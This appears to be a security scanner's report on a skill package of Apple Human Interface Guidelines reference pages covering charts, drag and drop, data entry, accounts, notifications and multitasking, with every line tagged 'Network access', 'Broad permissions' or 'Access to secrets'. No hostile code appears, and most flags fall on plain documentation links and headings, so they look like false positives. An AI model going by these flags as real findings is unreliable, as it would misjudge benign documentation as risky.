#### [Videos](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Videos) - Network accessline 61
[ Design for spatial interaction ](https://developer.apple.com/videos/play/wwdc2021/10245) - Network accessline 63
[ Meet Nearby Interaction ](https://developer.apple.com/videos/play/wwdc2020/10668) - Network accessline 65
## [Change log](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Change-log)
skills/hig-patterns/SKILL.md
- Network accessline 106
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-patterns/references/charting-data.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Charting data | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/charting-data - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/charting-data - Network accessline 9
 - Network accessline 32
**Make every chart in your app accessible.** A chart communicates visually through graphical representations of data and visual descriptions. In addition to the visual descriptions you display, it’s crucial to provide both accessibility lab - Network accessline 34
## [Designing effective charts](https://developer.apple.com/design/human-interface-guidelines/charting-data#Designing-effective-charts) - Network accessline 36
**In general, prefer using common chart types.** People tend to be familiar with common chart types — such as bar charts and line charts — so using one of these types in your app can make it more likely that people will already know how to - Network accessline 42
 - Network accessline 58
## [Resources](https://developer.apple.com/design/human-interface-guidelines/charting-data#Resources) - Network accessline 60
#### [Related](https://developer.apple.com/design/human-interface-guidelines/charting-data#Related) - Network accessline 62
[Charts](https://developer.apple.com/design/human-interface-guidelines/charts) - Network accessline 64
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/charting-data#Developer-documentation) - Network accessline 66
[Swift Charts](https://developer.apple.com/documentation/Charts) - Network accessline 68
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/charting-data#Videos) - Network accessline 70
[ Bring Swift Charts to the third dimension ](https://developer.apple.com/videos/pla - Network accessline 72
[ Design app experiences with charts ](https://developer.apple.com/videos/play/wwdc2022/110342) - Network accessline 74
[ Design an effective chart ](https://developer.apple.com/videos/play/wwdc2022/110340) - Network accessline 76
## [Change log](https://developer.apple.com/design/human-interface-guidelines/charting-data#Change-log)
skills/hig-patterns/references/collaboration-and-sharing.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Collaboration and sharing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing - Network accessline 9
. - Network accessline 19
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Best-practices) - Network accessline 21
**Place the Share button in a convenient location, like a toolbar, to make it easy for people to start sharing or collaborating.** In iOS 16, the system-provided share sheet includes ways to choose a file-sharing method and set permissions - Network accessline 23
 - Network accessline 51
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#visionOS) - Network accessline 53
By default, the system supports screen sharing for an app running in the Shared Space by streaming the current window to other collaborators. If one person transitions the app to a Full Space while sharing is in progress, the system pauses - Network accessline 55
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#watchOS) - Network accessline 57
In your SwiftUI app running in watchOS, use [`ShareLink`](https://developer.apple.com/documentation/SwiftUI/ShareLink) to present the system-provided share sheet. - Network accessline 59
## [Resources](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Resources) - Network accessline 61
#### [Related](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Related) - Network accessline 63
[Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views) - Network accessline 65
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Developer-documentation) - Network accessline 67
[Shared with You](https://developer.apple.com/documentation/SharedWithYou) - Network accessline 69
[`ShareLink`](https://developer.apple.com/documentation/SwiftUI/ShareLink) — SwiftUI - Network accessline 71
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Videos) - Network accessline 73
[ Design for Collaboration with Messages ](https://developer.apple.com/videos/play/wwdc2022/10015) - Network accessline 75
[ Enhance collaboration experiences with Messages ](https://developer.apple.com/videos/play/wwdc2022/10095) - Network accessline 77
[ Integrate your custom collaboration app with Messages ](https://developer.apple.com/videos/play/wwdc2022/10093) - Network accessline 79
## [Change log](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Change-log)
skills/hig-patterns/references/drag-and-drop.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Drag and drop | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/drag-and-drop - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/drag-and-drop - Network accessline 9
 - Network accessline 32
**Offer alternative ways to accomplish drag-and-drop actions.** Sometimes, drag-and-drop operations are inconvenient or impossible for people to perform, so it’s important to provide other ways to do the same things. For example, you can in - Network accessline 44
## [Providing feedback](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Providing-feedback) - Network accessline 56
## [Accepting drops](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Accepting-drops) - Network accessline 74
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Platform-considerations) - Network accessline 78
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#iOS-iPadOS) - Network accessline 82
### [macOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#macOS) - Network accessline 92
**Consider changing the pointer appearance to indicate what will happen when people drop content.** In addition to using the _copy_ pointer, you might want to use the _drag link_ , _disappearing item_ , and _operation not allowed_ pointers, - Network accessline 96
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#visionOS) - Network accessline 98
**When possible, launch your app to handle content that people drop into empty space.** When you associate a user activity with draggable app content, your app can open a window or scene that handles the content when people drop it. For exa - Network accessline 106
## [Resources](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Resources) - Network accessline 108
#### [Related](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Related) - Network accessline 110
[Universal Control](https://support.apple.com/en-us/HT212757) - Network accessline 112
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Developer-documentation) - Network accessline 114
[Drag and drop](https://developer.apple.com/documentation/UIKit/drag-and-drop) — UIKit - Network accessline 116
[Drag and Drop](https://developer.apple.com/documentation/AppKit/drag-and-drop) — AppKit - Network accessline 118
[File Provider](https://developer.apple.com/documentation/FileProvider) - Network accessline 120
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Videos) - Network accessline 122
[ What's new in UIKit ](https://developer.apple.com/videos/play/wwdc2021/10059) - Network accessline 124
[ SwiftUI on the Mac: The finishing touches ](https://developer.apple.com/videos/play/wwdc2021/10289) - Network accessline 126
[ Designed for iPad ](https://developer.apple.com/videos/play/wwdc2020/10206) - Network accessline 128
## [Change log](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Change-log)
skills/hig-patterns/references/entering-data.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Entering data | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/entering-data - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/entering-data - Network accessline 9
 - Network accessline 26
**Use a secure text-entry field when appropriate.** If your app or game needs sensitive data, use a field that obscures people’s input as they enter it, typically by displaying a small filled circle symbol for each character. For developer - Network accessline 28
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 38
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/entering-data#Platform-considerations) - Network accessline 42
### [macOS](https://developer.apple.com/design/human-interface-guidelines/entering-data#macOS) - Network accessline 44
**Consider using an expansion tooltip to show the full version of clipped or truncated text in a field.** An _expansion tooltip_ behaves like a regular tooltip, appearing when the pointer rests on top of a field. Apps running in macOS — inc - Network accessline 46
## [Resources](https://developer.apple.com/design/human-interface-guidelines/entering-data#Resources) - Network accessline 48
#### [Related](https://developer.apple.com/design/human-interface-guidelines/entering-data#Related) - Network accessline 50
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 52
[Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards) - Network accessline 54
[Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards) - Network accessline 56
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/entering-data#Developer-documentation) - Network accessline 58
[Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI - Network accessline 60
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/entering-data#Videos) - Network accessline 62
[ What's new in UIKit ](https://developer.apple.com/videos/play/wwdc2021/10059) - Network accessline 64
## [Change log](https://developer.apple.com/design/human-interface-guidelines/entering-data#Change-log)
skills/hig-patterns/references/feedback.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Feedback | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/feedback - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/feedback - Network accessline 9
 - Network accessline 28
**Make sure all feedback is accessible.** When you use multiple ways to provide feedback, you reach more people and give them the opportunity to receive the feedback in ways that work for them. For example, when you provide feedback using c - Network accessline 32
**Use alerts to deliver critical — and ideally actionable — information.** By design, alerts disrupt the current context, so you need to match the importance of the information to the level of interruption. Alerts can lose their impact if y - Network accessline 40
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/feedback#Platform-considerations) - Network accessline 44
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/feedback#watchOS) - Network accessline 48
## [Resources](https://developer.apple.com/design/human-interface-guidelines/feedback#Resources) - Network accessline 50
#### [Related](https://developer.apple.com/design/human-interface-guidelines/feedback#Related) - Network accessline 52
[Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio) - Network accessline 54
[Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics) - Network accessline 56
[Motion](https://developer.apple.com/design/human-interface-guidelines/motion) - Network accessline 58
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/feedback#Developer-documentation) - Network accessline 60
[Animation and haptics](https://developer.apple.com/documentation/UIKit/animation-and-haptics) — UIKit - Network accessline 62
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/feedback#Videos) - Network accessline 64
[ Designing Fluid Interfaces ](https://developer.apple.com/videos/play/wwdc2018/803) - Network accessline 66
[ Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802)
skills/hig-patterns/references/file-management.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "File management | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/file-management - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/file-management - Network accessline 9
 - Network accessline 17
**Use app menus and keyboard shortcuts to give people convenient ways to create and open documents.** In iPadOS and macOS, people expect to create new documents or open existing ones using familiar menu commands. When you provide commands l - Network accessline 21
## [Saving work](https://developer.apple.com/design/human-interface-guidelines/file-management#Saving-work) - Network accessline 27
## [Quick Look previews](https://developer.apple.com/design/human-interface-guidelines/file-management#Quick-Look-previews) - Network accessline 35
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/file-management#Platform-considerations) - Network accessline 39
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/file-management#iOS-iPadOS) - Network accessline 41
#### [Document launcher](https://developer.apple.com/design/human-interface-guidelines/file-management#Document-launcher) - Network accessline 43
Starting in iOS 18 and iPadOS 18, document-based apps can use the system’s document launcher to give people a consistent, highly graphical way to browse, open, and create files. The document launcher presents a full-screen experience that h - Network accessline 58
 - Network accessline 70
If your app can share its files with other apps, you can create a file provider app extension that displays a custom interface for importing, exporting, opening, and moving your app’s documents. For developer guidance, see [File Provider](h - Network accessline 78
Your app can also let people browse and open files from other apps. For developer guidance, see [Adding a document browser to your app](https://developer.apple.com/documentation/UIKit/adding-a-document-browser-to-your-app). - Network accessline 80
### [macOS](https://developer.apple.com/design/human-interface-guidelines/file-management#macOS) - Network accessline 82
#### [Custom file management](https://developer.apple.com/design/human-interface-guidelines/file-management#Custom-file-management) - Network accessline 92
#### [Finder Sync extensions](https://developer.apple.com/design/human-interface-guidelines/file-management#Finder-Sync-extensions) - Network accessline 94
If your app syncs local and remote files, you can create a Finder Sync app extension to express file synchronization status and control within the Finder. For developer guidance, see [Finder Sync](https://developer.apple.com/documentation/F - Network accessline 111
## [Resources](https://developer.apple.com/design/human-interface-guidelines/file-management#Resources) - Network accessline 113
#### [Related](https://developer.apple.com/design/human-interface-guidelines/file-management#Related) - Network accessline 115
[Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars) - Network accessline 117
[File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu) - Network accessline 119
[Printing](https://developer.apple.com/design/human-interface-guidelines/printing) - Network accessline 121
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/file-management#Developer-documentation) - Network accessline 123
[Documents](https://developer.apple.com/documentation/SwiftUI/Documents) — SwiftUI - Network accessline 125
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/file-management#Videos) - Network accessline 127
[ Build document-based apps in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10039) - Network accessline 129
## [Change log](https://developer.apple.com/design/human-interface-guidelines/file-management#Change-log)
skills/hig-patterns/references/going-full-screen.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Going full screen | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/going-full-screen - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/going-full-screen - Network accessline 9
 - Network accessline 21
**Except in games, let people reveal the Dock while your iPadOS or macOS app is in full-screen mode.** In iPadOS and macOS, it’s important to preserve access to the Dock so people can quickly open other apps and Dock items. To help prevent - Network accessline 27
**Prioritize content by temporarily hiding toolbars and navigation controls.** You can offer a distraction-free environment by hiding elements when content is the primary focus, such as when viewing full-screen photos or reading a document. - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Platform-considerations) - Network accessline 33
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#iOS-iPadOS) - Network accessline 35
**Consider deferring system gestures to prevent accidental exits in a full-screen app or game.** By default, the Home Screen indicator automatically hides shortly after someone switches to your app or game. It reappears when someone interac - Network accessline 37
### [macOS](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#macOS) - Network accessline 39
**Use the system-provided full-screen experience.** Using the system’s full-screen support ensures that your full-screen window works well in all contexts. For example, some Mac models include a camera housing that occupies an area at the t - Network accessline 43
For additional developer guidance, see [Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos). - Network accessline 45
**Always let people choose when to enter full-screen mode.** Prefer letting people use your window’s Enter Full Screen button, View menu item, or the Control-Command-F keyboard shortcut. Avoid offering a custom menu of window modes. In a ga - Network accessline 47
## [Resources](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Resources) - Network accessline 49
#### [Related](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Related) - Network accessline 51
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 53
[Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking) - Network accessline 55
[Windows](https://developer.apple.com/design/human-interface-guidelines/windows) - Network accessline 57
[The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar) - Network accessline 59
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Developer-documentation) - Network accessline 61
[`fullScreenCover(item:onDismiss:content:)`](https://developer.apple.com/documentation/SwiftUI/View/fullScreenCover\(item:onDismiss:content:\)) — SwiftUI - Network accessline 63
[`NSScreen`](https://developer.apple.com/documentation/AppKit/NSScreen) — AppKit - Network accessline 65
[`NSWindow.CollectionBehavior`](https://developer.apple.com/documentation/AppKit/NSWindow/CollectionBehavior-swift.struct) — AppKit - Network accessline 67
[Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos) — Swift, Objective-C - Network accessline 69
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Videos) - Network accessline 71
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 73
## [Change log](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Change-log)
skills/hig-patterns/references/launching.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Launching | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/launching - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/launching - Network accessline 9
 - Network accessline 17
**If the platform requires it, provide a launch screen.** In iOS, iPadOS, and tvOS, the system displays your launch screen the moment your app or game starts and quickly replaces it with your first screen, giving people the impression that - Network accessline 23
## [Launch screens](https://developer.apple.com/design/human-interface-guidelines/launching#Launch-screens) - Network accessline 35
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/launching#Platform-considerations) - Network accessline 39
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/launching#iOS-iPadOS) - Network accessline 41
**Launch in the appropriate orientation.** If your app or game supports both portrait and landscape modes, launch using the device’s current orientation. If your interface only runs in one orientation, launch in that orientation and let peo - Network accessline 43
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/launching#tvOS) - Network accessline 47
Unlike the [layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images) throughout much of a tvOS app, the launch screen is static. - Network accessline 49
**In a live-viewing app, consider automatically starting playback soon after people start the app.** People come to your app to watch TV, so you might want to start playing new or recently viewed live content after a few seconds of inactivi - Network accessline 51
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/launching#visionOS) - Network accessline 53
**Consider launching in the Shared Space even if your app is fully immersive.** Opening a window in the Shared Space lets you provide more context about your app or game while giving it time to load, and it also lets you present a control t - Network accessline 55
## [Resources](https://developer.apple.com/design/human-interface-guidelines/launching#Resources) - Network accessline 57
#### [Related](https://developer.apple.com/design/human-interface-guidelines/launching#Related) - Network accessline 59
[Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding) - Network accessline 61
[Loading](https://developer.apple.com/design/human-interface-guidelines/loading) - Network accessline 63
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/launching#Developer-documentation) - Network accessline 65
[Specifying your app’s launch screen](https://developer.apple.com/documentation/Xcode/specifying-your-apps-launch-screen) — Xcode - Network accessline 67
[Responding to the launch of your app](https://developer.apple.com/documentation/UIKit/responding-to-the-launch-of-your-app) — UIKit - Network accessline 69
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/launching#Videos) - Network accessline 71
[ Optimizing App Launch ](https://developer.apple.com/videos/play/wwdc2019/423) - Network accessline 73
[ Love at First Launch ](https://developer.apple.com/videos/play/wwdc2017/816) - Network accessline 75
## [Change log](https://developer.apple.com/design/human-interface-guidelines/launching#Change-log)
skills/hig-patterns/references/live-viewing-apps.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Live-viewing apps | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps - Network accessline 9
 - Network accessline 31
* Match the categories in the content footer to those in your electronic program guide (for related guidance, see [EPG experience](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#EPG-experience)). - Network accessline 42
## [EPG experience](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#EPG-experience) - Network accessline 54
## [Cloud DVR](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Cloud-DVR) - Network accessline 68
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Platform-considerations) - Network accessline 72
## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Resources) - Network accessline 74
#### [Related](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Related) - Network accessline 76
[Remotes](https://developer.apple.com/design/human-interface-guidelines/remotes) - Network accessline 78
[Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video)
skills/hig-patterns/references/loading.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Loading | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/loading - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/loading - Network accessline 9
 - Network accessline 17
**Let people do other things in your app or game while they wait for content to load.** Loading content in the background helps give people access to other actions. For example, a game could load content in the background while players lear - Network accessline 21
**Improve installation and launch time by downloading large assets in the background.** Consider using the [Background Assets](https://developer.apple.com/documentation/BackgroundAssets) framework to schedule asset downloads — like game lev - Network accessline 23
## [Showing progress](https://developer.apple.com/design/human-interface-guidelines/loading#Showing-progress) - Network accessline 25
**Clearly communicate that content is loading and how long it might take to complete.** Ideally, content displays instantly, but for situations where loading takes more than a moment or two, you can use system-provided components — called _ - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/loading#Platform-considerations) - Network accessline 33
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/loading#watchOS) - Network accessline 37
## [Resources](https://developer.apple.com/design/human-interface-guidelines/loading#Resources) - Network accessline 39
#### [Related](https://developer.apple.com/design/human-interface-guidelines/loading#Related) - Network accessline 41
[Launching](https://developer.apple.com/design/human-interface-guidelines/launching) - Network accessline 43
[Progress indicators](https://developer.apple.com/design/human-interface-guidelines/progress-indicators) - Network accessline 45
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/loading#Developer-documentation) - Network accessline 47
[Background Assets](https://developer.apple.com/documentation/BackgroundAssets) - Network accessline 49
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/loading#Videos) - Network accessline 51
[ Discover Apple-Hosted Background Assets ](https://developer.apple.com/videos/play/ - Network accessline 53
## [Change log](https://developer.apple.com/design/human-interface-guidelines/loading#Change-log)
skills/hig-patterns/references/managing-accounts.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Managing accounts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/managing-accounts - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/managing-accounts - Network accessline 9
 - Network accessline 19
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Network accessline 23
**Refer only to authentication methods that are available in the current context.** For example, don’t reference Face ID on a device that doesn’t offer it. Check the device’s capabilities and use the appropriate terminology. For developer g - Network accessline 29
## [Deleting accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Deleting-accounts) - Network accessline 41
If people used [Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple) to create an account within your app, you revoke the associated tokens when they delete their account. See [`Token revocat - Network accessline 58
In addition to helping people understand these scenarios, provide information that describes how to cancel subscriptions and manage purchases. For guidance, see [Helping people manage their subscriptions](https://developer.apple.com/design/ - Network accessline 64
## [TV provider accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#TV-provider-accounts) - Network accessline 72
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Platform-considerations) - Network accessline 76
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#tvOS) - Network accessline 80
**Prefer letting people use another device to sign up or authenticate.** When you configure your app’s associated domains, Apple TV can work with other devices to safely suggest sign-in credentials, including [Sign in with Apple](https://de - Network accessline 82
**When people are signed in to a shared account, avoid asking them to choose their profile every time they become the current user.** In tvOS 16 and later, your app can share its credentials with all users while storing each individual’s pr - Network accessline 86
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#watchOS) - Access to secretsline 88
[Credential-related source omitted] - Network accessline 90
## [Resources](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Resources) - Network accessline 92
#### [Related](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Related) - Network accessline 94
[Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding) - Network accessline 96
[Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple) - Network accessline 98
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Developer-documentation) - Network accessline 100
[Supporting passkeys](https://developer.apple.com/documentation/AuthenticationServices/supporting-passkeys) — Authentication Services - Network accessline 102
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Videos) - Network accessline 104
[ What’s new in passkeys ](https://developer.apple.com/videos/play/wwdc2025/279) - Network accessline 106
[ What’s new in device management ](https://developer.apple.com/videos/play/wwdc2024
skills/hig-patterns/references/managing-notifications.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Managing notifications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/managing-notifications - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/managing-notifications - Network accessline 9
 - Network accessline 30
To support these behavior customizations, you first identify the types of notifications your app or game can send. If you support direct communications — like phone calls and messages — you use _communication_ notifications; for all other t - Network accessline 60
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Best-practices) - Network accessline 64
**Use the Time Sensitive interruption level only for notifications that are relevant in the moment.** To help people understand the benefits of letting Time Sensitive notifications break through a Focus or scheduled delivery, make sure the - Network accessline 66
## [Sending marketing notifications](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Sending-marketing-notifications) - Network accessline 74
**Make sure people can manage their notification settings within your app.** In addition to requesting permission to send informational or marketing notifications, you must also provide an in-app settings screen that lets people change thei - Network accessline 76
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Platform-considerations) - Network accessline 80
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#watchOS) - Network accessline 84
## [Resources](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Resources) - Network accessline 86
#### [Related](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Related) - Network accessline 88
[Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy) - Network accessline 90
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Developer-documentation) - Network accessline 92
[User Notifications](https://developer.apple.com/documentation/UserNotifications) - Network accessline 94
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Videos) - Network accessline 96
[ Send communication and Time Sensitive notifications ](https://developer.apple.com/videos/play/wwdc2021/10091) - Network accessline 98
[ The Push Notifications primer ](https://developer.apple.com/videos/play/wwdc2020/10095)
skills/hig-patterns/references/modality.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Modality | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/modality - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/modality - Network accessline 9
 - Network accessline 46
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/modality#Platform-considerations) - Network accessline 50
## [Resources](https://developer.apple.com/design/human-interface-guidelines/modality#Resources) - Network accessline 52
#### [Related](https://developer.apple.com/design/human-interface-guidelines/modality#Related) - Network accessline 54
[Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets) - Network accessline 56
[Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts) - Network accessline 58
[Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers) - Network accessline 60
[Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets) - Network accessline 62
[Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views) - Network accessline 64
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/modality#Developer-documentation) - Network accessline 66
[Presentation modifiers](https://developer.apple.com/documentation/SwiftUI/View-Presentation) — SwiftUI - Network accessline 68
[`UIModalPresentationStyle`](https://developer.apple.com/documentation/UIKit/UIModalPresentationStyle) — UIKit - Network accessline 70
[Modal Windows and Panels](https://developer.apple.com/documentation/AppKit/modal-windows-and-panels) — AppKit - Network accessline 72
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/modality#Videos) - Network accessline 74
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 76
## [Change log](https://developer.apple.com/design/human-interface-guidelines/modality#Change-log)
skills/hig-patterns/references/multitasking.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Multitasking | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/multitasking - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/multitasking - Network accessline 9
. - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/multitasking#Best-practices) - Network accessline 30
For guidance, see [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio). - Network accessline 34
**Use notifications sparingly.** Your app can send notifications when it’s suspended or running in the background. If people start an important or time-sensitive task in your app, and then switch away from it, they might appreciate receivin - Network accessline 36
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/multitasking#Platform-considerations) - Network accessline 40
### [iOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#iOS) - Network accessline 44
 - Network accessline 48
 - Network accessline 54
On iPad, people can view and interact with the [windows](https://developer.apple.com/design/human-interface-guidelines/windows) of several different apps at the same time. An individual app can also support multiple open windows, which lets - Network accessline 58
 and [Windows]( - Network accessline 72
### [macOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#macOS) - Network accessline 74
On Mac, multitasking is the default experience because people typically run more than one app at a time, switching between windows and tasks as they work. When multiple app windows are open, macOS applies drop shadows that make the windows - Network accessline 76
